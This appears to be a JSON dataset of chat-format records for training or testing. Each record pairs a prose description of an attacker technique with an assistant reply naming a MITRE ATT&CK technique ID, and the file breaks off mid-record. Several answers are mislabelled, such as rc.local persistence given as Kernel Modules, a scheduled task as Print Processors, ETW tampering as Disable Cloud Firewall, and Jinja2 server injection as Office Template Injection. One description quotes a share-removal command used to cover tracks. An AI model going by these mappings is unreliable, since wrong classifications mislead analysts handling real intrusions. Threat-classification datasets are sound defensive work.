    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised the code signing certificate of a software vendor and signed malicious binaries, making them appear trustworthy to end users during installation."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scrapes the corporate website and LinkedIn profiles to compile a list of current employee names for future spear‑phishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a botnet, the threat group continuously transmits ICMP echo requests to the target’s gateway, exhausting its network resources."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware loads kernel32.dll functions via GetProcAddress after initial execution to mask its imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Running vulnerability scanners to detect missing security patches on endpoint systems."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the OAuth token acquisition flow by hooking the AcquireToken API to collect tokens."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes reordering and delaying legitimate packets to obscure malicious signaling."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a malicious network provider DLL that intercepts credential verification and injects altered credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deploys a trojan that continuously monitors the Downloads folder and uploads any new files."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool creates a .url file pointing to a malicious PowerShell command hosted on a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leverages Windows API calls to perform in‑memory PE image loading through reflection, bypassing traditional loader mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using open-source mapping tools, the threat actor determines the physical coordinates of the target organization’s primary office complex."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool parses the shadow file to retrieve hashed passwords for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs WHOIS lookups on target domains to gather registration details such as owner, registrar, and expiration dates."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the /etc/rc.d/rc.local file on a Unix system to execute a backdoor script."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed cmd.exe to a harmless-looking text file and placed it in the startup folder to execute malicious commands on boot."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool invokes mshta.exe with a base64-encoded script to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows API to dump password hashes from the LSA Secrets store."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module enumerates and exports credentials from the Chrome password manager via OS APIs."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new task in the “Task Scheduler Library\\Microsoft\\Windows\\Update” folder to run a malicious script daily."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs launchctl remove to delete legitimate launch agents, making way for their own."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Diffie‑Hellman key exchange to create a secure channel for command and control."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber operators use geotagged photographs posted online to pinpoint the location of the victim's headquarters."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script abuses the .NET Credential Management API to enumerate and exfiltrate Windows stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan checks for virtualization artifacts by looking for known VMware driver files in the system directory."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a public VPN service as a proxy to encrypt and tunnel exfiltrated data out of the victim network, bypassing network firewalls."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops an ELF executable that is compressed with UPX; it then executes the UPX‑unpacked binary."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exfiltration, the adversary executed `cmd.exe /c \"net use * /delete /y\"` to terminate all active SMB connections, including the malicious share."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware verifies that there is a currently active window with user interaction by calling the Win32 API GetForegroundWindow before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal uses a social‑engineering email campaign to lure employees into providing sensitive system configuration details via a bogus support request."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a hidden directory on a compromised external server to accumulate data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor loaded Mimikatz into memory and performed an LSASS dump to harvest password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs VBA stomping to corrupt the VBA project of a template file, replacing safe macros with code that executes a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts the hardware IDs from the registry key HKLM\\Hardware\\Description\\System."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups distribute Outlook form files that trigger the download and execution of a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker supplies specially formatted data that manipulates Jinja2 template syntax, leading to remote command execution on the web server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool disables the OS’s signal handling for its processes, making them immune to termination attempts."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs `docker service update` to inject a malicious image into a Swarm service."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was stored under the name \"GoogleUpdate.exe\" in the Program Files folder, matching the legitimate Google update utility to avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary pulls configuration data from the /etc/ssh/ssh_config file to identify target hosts."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the default DLL search order, the attacker injects a malicious DLL into the directory specified by the %APPDATA% variable, which is loaded before the intended library."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the \"CreateProcessAsUser\" API to spawn a process under a high‑privilege account."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a launch daemon that runs a custom Python script to harvest system information regularly."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the container runtime socket and issued \"docker exec\" to install a backdoor inside the container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses Gmail filters to automatically label and archive command-and-control emails, making them invisible in the inbox."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses MAPI over HTTP to pull victim’s inbox contents from a remote mail server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload was packaged inside a .zip archive but renamed to .jpg to lure victims."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the Microsoft Graph API to retrieve a complete list of user mailboxes in Office 365."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies an existing scheduled task to run a credential‑stealing payload when a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts plaintext database credentials from the bash command history of a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign builds a botnet of vulnerable web servers, which then serves as a staging ground for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script includes a sleep loop that only passes if the execution speed is not artificially slowed by a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the registry to set a malicious executable as the screensaver, causing it to run whenever the screensaver activates."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell web shell is uploaded via a vulnerable SharePoint site, allowing the attacker to run system commands."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs \"id\" and \"groups\" on a compromised Linux host to list user group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors create storage buckets in a cloud region that the target has not configured, allowing covert command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses PowerShell's –EncodedCommand flag to embed a base64‑encoded script that is executed directly from memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the trusted developer utility MSBuild to execute a reverse shell by supplying a malicious XML project."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen Azure service principal credential, the actor modified network security groups to allow external access."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate shared library with a trojanized version, enabling persistence across multiple services."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved adding a new domain trust via the GUI in Active Directory Domains and Trusts, linking to a malicious domain for persistence."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By accessing the Registry key HKLM\\SAM, the threat actor retrieves password hashes stored by Windows."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By scanning for SNMP services, the attacker identifies open devices and pulls their MIB dumps."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals exploit a misconfigured PKI to generate unauthorized code signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses WMI to remotely execute a PowerShell one-liner that downloads and runs additional ransomware."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker obtains a code‑signing certificate by compromising a developer's build server."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a self-signed certificate that fails verification to hide malicious code as a legitimate program."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a .daemon XML file to /Library/LaunchDaemons to execute with root privileges on startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script was saved as \"UpdateDriver.ps1\" in the Program Files folder to masquerade as a legitimate system update."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware switches to using ICMP echo requests as a backup communication method when outbound traffic is restricted."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Python ldap3 library to search the base DN for all group objects."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script modifies the Windows Event Tracing for Windows (ETW) settings to suppress logging."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested password hashes by dumping the LSASS memory via the Sysinternals ProcDump tool with the -ma flag."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker acquires a rented virtual private server to host a malicious Docker container for botnet control."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a publicly disclosed privilege‑escalation exploit to enhance their post‑exploitation toolkit."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a remote thread in svchost.exe using NtCreateThreadEx to run its malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
